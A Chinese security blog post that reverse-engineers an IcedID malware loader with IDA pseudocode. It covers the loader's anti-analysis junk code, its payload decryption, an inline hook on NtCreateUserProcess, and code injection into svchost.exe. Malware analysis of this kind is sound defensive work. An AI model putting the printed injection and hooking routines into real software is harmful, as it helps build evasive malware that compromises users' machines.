酷应用

ICEID恶意软件分析

百家作者：Chamd5安全团队 2022-08-17 09:33:38

前几天查看MalwareBazaar恶意软件排名第一的恶意软件，发现当天最高的是ICEID。进一步搜索发现，该病毒在4月份活跃过。于是去app.any.run上面寻找了样本，学习一下

初步静态分析

32位GUI程序，并且会使用-q=569957503执行自身

IDA加载一下，发现wWinMain有很多干扰动态分析的代码

if?(?v17?==?0x23C91B?)
??{
????FindNextFileW(0,?&FindFileData);
????EndUpdateResourceA(0,?0);
????DeleteFileA(0);
????TransparentBlt(0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0);
????sprintf(Buffer,?"%s?%c",?"howejaxi?koxa",?87);
????v14?=?0;
????v15?=?0;
????v16?=?0;
????wprintf(L"bexovecisukamopebe?busacegunategi");
????fopen(0,?0);
????sub_416094((int)&v14);
??}
??for?(?i?=?0;?;?++i?)
??{
????GetTickCount();
????if?(?i?>?826999?)
??????break;
??}
??hModule?=?LoadLibraryW(L"kernel32.dll");
??v5?=?0;
??while?(?1?)
??{
????LastError?=?GetLastError();
????if?(?v5?>?15076057?&&?(_BYTE)v15?!=?105?&&?v18?!=?377720291?&&?LastError?==?346?)
??????break;
????if?(?++v5?>=?239749941?)
??????goto?LABEL_15;
??}

例如：打开不存在的文件，删除不存在的文件，进行无用分支判断，拖延时间等

然后获取了某些Windows API的地址

do
??{
????if?(?v8?==?(char?*)&unk_516C56?)
??????v7?=?dword_441410;
????++v8;
??}
??while?(?(int)v8?<?(int)&unk_55BD1C?);
??dwBytes?=?v7?+?407737;
??dword_BE1460?=?(int?(*)(void))GlobalAlloc(0,?v7?+?407737);
??GlobalAlloc(0,?dwBytes);
??v9?=?dword_441404;
??v10?=?0;
??dword_BE1464?=?dword_441404;
??if?(?dwBytes?)
??{
????while?(?1?)
????{
??????*((_BYTE?*)dword_BE1460?+?v10)?=?*(_BYTE?*)(v9?+?v10?+?0x638B9);
??????if?(?++v10?>=?dwBytes?)
????????break;
??????v9?=?dword_BE1464;
????}
??}
??sub_4150D4(&dword_BE1460,?&dwBytes);
??*(_DWORD?*)Buffer?=?'triV';
??dword_442A64?=?(int)&unk_6C6175;
??v11?=?&Buffer[strlen(Buffer)];
??v13?=?hModule;
??*(_DWORD?*)v11?=?'torP';
??*((_DWORD?*)v11?+?1)?=?&unk_746365;
??VirtProt?=?(int?(__stdcall?*)(_DWORD,?_DWORD,?_DWORD,?_DWORD))GetProcAddress(v13,?Buffer);
??((void?(*)(void))sub_415C93)();
??sub_415B7A(&unk_441000);
??dword_BE1460?=?(int?(*)(void))((char?*)dword_BE1460?+?1060);
??sub_415CAE();

其中有一个似乎是VirtualProtect的的地址，并且sub_415C93调用了VirtualProtect。所以有可能有代码解密行为

具体获取还要看动态分析

初步动态分析

在GetProcAddress下断点，确实是获取了VirtualProtect的地址

然后将Alloc申请的区域变为可执行

其中sub_415D04向申请的区域存储了一些数据，sub_415B7A进行了一个解密

void?__usercall?sub_415A62(int?a1@<edx>,?int?a2@<ecx>,?unsigned?int?a3@<ebx>)
{
??int?i;?//?esi

??for?(?i?=?0;?i?<?a1;?qword_BE6CF8?=?0xFFFFFFFFFC7352EEui64?)
??{
????*(_BYTE?*)(i?+?a2)?^=?sub_4159CC();
????if?(?a1?==?1609?)
????{
??????a3?=?293915114;
??????dword_BE6D00?=?0;
??????dword_BE6D04?=?0;
????}
????dword_BE6D08?=?0xAA6D9B4E;
????a3?=?a3?>>?9?<<?24;
????++i;
??}
}

sub_415CAE调用了IPAddress中的代码

依然是代码解密，最后到一个长jmp

这里就跳转到真实入口

DUMP此时的程序，跟踪一下

IDA打开，手动修复一下IAT表，得到start函数

payload分析

void?__cdecl?__noreturn?start()
{
??const?CHAR?*CommandLineA;?//?esi
??int?v1;?//?esi

??CommandLineA?=?(const?CHAR?*)getCommandLineA();
??if?(?sub_401140(CommandLineA)?)
??{
????sub_40124A();
??}
??else?if?(?sub_4013CF(CommandLineA)?)
??{
????v1?=?sub_4011BE();
????if?(?v1?)
????{
??????Sleep_0(0x3E8u);
??????sub_4012E9(v1);
????}
??}
??ExitProcess_0(0);
}

首先判断了一下命令行参数，

sub_401140

PSTR?__cdecl?sub_401140(const?CHAR?*a1)
{
??PSTR?result;?//?eax
??int?v2;?//?eax
??PSTR?v3;?//?esi
??DWORD?EnvironmentVariableA;?//?edi
??CHAR?Name[32];?//?[esp+0h]?[ebp-20h]?BYREF

??result?=?StrStrA(a1,?"-q=");
??if?(?result?)
??{
????v2?=?StrToIntA(result?+?3);
????wsprintfA(Name,?"%u",?v2);
????result?=?(PSTR)sub_401E01(2280);
????v3?=?result;
????if?(?result?)
????{
??????EnvironmentVariableA?=?GetEnvironmentVariableA(Name,?result,?0x8E8u);
??????if?(?EnvironmentVariableA?)
????????EnvironmentVariableA?=?j_hex2int((int)v3,?1108,?&dword_403000);
??????sub_401E3D((int)v3);
??????return?(PSTR)EnvironmentVariableA;
????}
??}
??return?result;
}

将-q=后面的字符串转化成数字，实际上就是判断有没有-q=这个参数，并且参数是数字

如果没有`q=`

int?__cdecl?sub_4013CF(const?CHAR?*a1)
{
??PSTR?v1;?//?eax
??int?result;?//?eax

??v1?=?StrStrIA(a1,?"?/p=");
??if?(?v1?)
????dword_403450?=?StrToIntA(v1?+?4);
??result?=?sub_401470();
??if?(?result?)
??{
????sub_4015A9();
????GetModuleFileNameW_0(0,?(LPWSTR)&dword_403144,?0x104u);
????sub_401E15((int)dword_403350,?(char?*)dword_404098,?256);
????return?1;
??}
??return?result;
}

尝试获取文件名，如果获取成功就返回1

sub_4011BE

int?sub_4011BE()
{
??int?result;?//?eax
??int?v1;?//?edx
??_BYTE?*v2;?//?ecx
??unsigned?int?i;?//?esi
??int?v4;?//?eax

??result?=?sub_401E01(2218);
??v1?=?result;
??if?(?result?)
??{
????v2?=?(_BYTE?*)result;
????for?(?i?=?0;?i?<?0x454;?++i?)
????{
??????*v2?=?byte_404070[*((unsigned?__int8?*)&dword_403000?+?i)?>>?4];
??????v2?+=?2;
??????v4?=?*((_BYTE?*)&dword_403000?+?i)?&?0xF;
??????*(v2?-?1)?=?byte_404070[v4];
????}
????*v2?=?0;
????return?v1;
??}
??return?result;
}

构造了一个文件名

很长的奇怪数字0100000000000000302B557700000000702D557700000000D02E557700000000F029557700000000C0DD52770000000040B850770000000020D6537700000000503655770000000020A75B77000000005038557700000000B818000000BAB83A000000BAB850000000BAB804000D00BA8BFF558BEC838BFF558BECFF8BFF558BEC83B8C8000000BA8BFF558BEC0FB8E8000C00BA00000000010000000000000060D08492F87F0000A0D48492F87F000060D78492F87F0000E0CD8492F87F0000106A7C92F87F0000C01A8392F87F000080D98092F87F000050E68492F87F000020568A92F87F000050EA8492F87F00004C8BD1B818004C8BD1B83A004

BOOL?__cdecl?sub_4012E9(const?CHAR?*a1)
{
??unsigned?__int64?v1;?//?rax
??const?CHAR?*CommandLineA;?//?eax
??CHAR?CommandLine[260];?//?[esp+Ch]?[ebp-168h]?BYREF
??struct?_STARTUPINFOA?StartupInfo;?//?[esp+110h]?[ebp-64h]?BYREF
??struct?_PROCESS_INFORMATION?ProcessInformation;?//?[esp+154h]?[ebp-20h]?BYREF
??CHAR?Name[16];?//?[esp+164h]?[ebp-10h]?BYREF

??v1?=?__rdtsc();
??wsprintfA(Name,?"%u",?(_DWORD)v1);
??CommandLineA?=?(const?CHAR?*)getCommandLineA();
??lstrcpyA(CommandLine,?CommandLineA);
??lstrcatA(CommandLine,?"?-q=");
??lstrcatA(CommandLine,?Name);
??sub_40200C(&StartupInfo,?0,?68);
??StartupInfo.cb?=?68;
??memset(&ProcessInformation,?0,?sizeof(ProcessInformation));
??SetEnvironmentVariableA(Name,?a1);
??return?CreateProcessA(0,?CommandLine,?0,?0,?0,?0,?0,?0,?&StartupInfo,?&ProcessInformation);
}

最后睡一觉后在sub_401E3D中创建一个进程，奇怪数字作为环境变量(这个可以干扰分析吗)

如果有`q=`

int?sub_40124A()
{
??int?result;?//?eax
??CHAR?PathName[260];?//?[esp+4h]?[ebp-178h]?BYREF
??struct?_STARTUPINFOA?StartupInfo;?//?[esp+108h]?[ebp-74h]?BYREF
??CHAR?String2[32];?//?[esp+14Ch]?[ebp-30h]?BYREF
??struct?_PROCESS_INFORMATION?ProcessInformation;?//?[esp+16Ch]?[ebp-10h]?BYREF

??cpy_svchost(String2);
??result?=?sub_401D08(NtCreateUserProcess,?(int)sub_4010B7);
??if?(?result?)
??{
????SetSystemDirectoryA(PathName,?260);
????sub_40200C(&StartupInfo,?0,?68);
????memset(&ProcessInformation,?0,?sizeof(ProcessInformation));
????SetCurrentDirectoryA(PathName);
????lstrcatA(PathName,?String2);
????StartupInfo.cb?=?68;
????return?CreateProcessA(0,?PathName,?0,?0,?0,?0,?0,?0,?&StartupInfo,?&ProcessInformation);
??}
??return?result;
}

首先复制一个字符串

然后进行了一个inline hook，让NtCreateUserProcess首先跳转到sub_4010B7

int?__cdecl?sub_401D08(int?a1,?int?a2)
{
??int?result;?//?eax
??int?v3;?//?edi
??int?v4;?//?[esp+8h]?[ebp-4h]?BYREF

??result?=?sub_401761(-1,?a1,?5,?64,?&v4);
??v3?=?result;
??if?(?result?)
??{
????*(_BYTE?*)a1?=?-23;
????*(_DWORD?*)(a1?+?1)?=?a2?-?a1?-?5;
????sub_401761(-1,?a1,?5,?v4,?&v4);
????return?v3;
??}
??return?result;
}

sub_401761中调用了ZwProtectVirtualMemory修改内存属性

在下面的创建进程CreateProcessA中，CreateProcess首先会调用NtCreateUserProcess，从而调用sub_4010B7

int?__thiscall?sub_4010B7(
????????void?*this,
????????_DWORD?*a2,
????????int?a3,
????????int?a4,
????????int?a5,
????????int?a6,
????????int?a7,
????????int?a8,
????????int?a9,
????????int?a10,
????????int?a11,
????????int?a12)
{
??int?result;?//?eax
??void?*v13;?//?[esp+0h]?[ebp-4h]?BYREF

??v13?=?this;
??if?(?!sub_401DB6((int)NtCreateUserProcess,?(int)&word_403082)?)
????return?0xC0000001;
??result?=?NtCreateUserProcess(a2,?a3,?a4,?a5,?a6,?a7,?a8,?a9,?a10,?a11,?a12);
??if?(?!result?)
??{
????if?(?sub_40138E(&a12,?&v13)?)
??????return?sub_4017A5(*a2,?a12)?!=?0???0?:?0xC0000001;
????else
??????return?-1073741823;
??}
??return?result;
}

首先unhook，调用原NtCreateUserProcess，然后在sub_40138E中进行一个代码解压，sub_4017A5中将代码注入到svchost.exe

int?__cdecl?sub_4017A5(int?a1,?int?a2)
{
??int?v2;?//?esi
??int?v3;?//?ebp
??_DWORD?*v4;?//?eax
??int?v6;?//?[esp+Ch]?[ebp-10h]?BYREF
??int?v7;?//?[esp+10h]?[ebp-Ch]
??int?v8;?//?[esp+14h]?[ebp-8h]
??int?v9;?//?[esp+18h]?[ebp-4h]

??v2?=?0;
??v6?=?a1;
??v7?=?0;
??v8?=?0;
??v9?=?a2;
??v3?=?NtAllocateVirtualMemory(a1,?84,?4);
??if?(?v3?)
??{
????v2?=?NtAllocateVirtualMemory_0(&v6);
????if?(?!v2
??????||?(v4?=?(_DWORD?*)(v7?+?*(_DWORD?*)(v9?+?16)))?!=?0
??????&&?((*v4?=?v3,?(v2?=?sub_4019A9(&v6))?==?0)
???????||?(v2?=?sub_401D54(a1,?0,?v8?+?*(_DWORD?*)(v9?+?12)))?==?0
???????||?(v2?=?ZwWriteVirtualMemory(a1,?v3,?&dword_403000,?1108))?==?0)?)
????{
??????GetLastError_0();
????}
????if?(?v7?)
??????sub_401E3D(v7);
??}
??else
??{
????GetLastError_0();
??}
??return?v2;
}

sub_4019A9中执行代码注入

int?__cdecl?sub_4019A9(int?*a1)
{
??int?*v1;?//?esi
??int?result;?//?eax
??unsigned?int?v3;?//?edi
??int?v4;?//?ebx

??v1?=?a1;
??result?=?ZwWriteVirtualMemory(*a1,?a1[2],?a1[1],?*(_DWORD?*)(a1[3]?+?8));
??if?(?result?)
??{
????v3?=?0;
????if?(?*(_DWORD?*)(v1[3]?+?32)?)
????{
??????v4?=?0;
??????do
??????{
????????NtProtectVirtualMemory(
??????????*v1,
??????????v1[2]?+?*(_DWORD?*)(v4?+?v1[3]?+?36),
??????????*(_DWORD?*)(v4?+?v1[3]?+?40),
??????????*(unsigned?__int8?*)(v4?+?v1[3]?+?52),
??????????(int)&a1);
????????v4?+=?17;
????????++v3;
??????}
??????while?(?v3?<?*(_DWORD?*)(v1[3]?+?32)?);
????}
????return?1;
??}
??return?result;
}

sub_401D54 hook了RtlExitUserProcess

BOOL?__cdecl?sub_401D54(int?a1,?int?a2,?int?a3)
{
??BOOL?result;?//?eax
??int?v4;?//?esi
??char?v5;?//?[esp+0h]?[ebp-Ch]?BYREF
??int?v6;?//?[esp+1h]?[ebp-Bh]
??int?v7;?//?[esp+8h]?[ebp-4h]?BYREF

??result?=?NtProtectVirtualMemory(a1,?a2,?5,?4,?(int)&v7);
??if?(?result?)
??{
????v5?=?-23;
????v6?=?a3?-?a2?-?5;
????v4?=?ZwWriteVirtualMemory(a1,?a2,?&v5,?5);
????NtProtectVirtualMemory(a1,?a2,?5,?v7,?(int)&v7);
????return?v4;
??}
??return?result;
}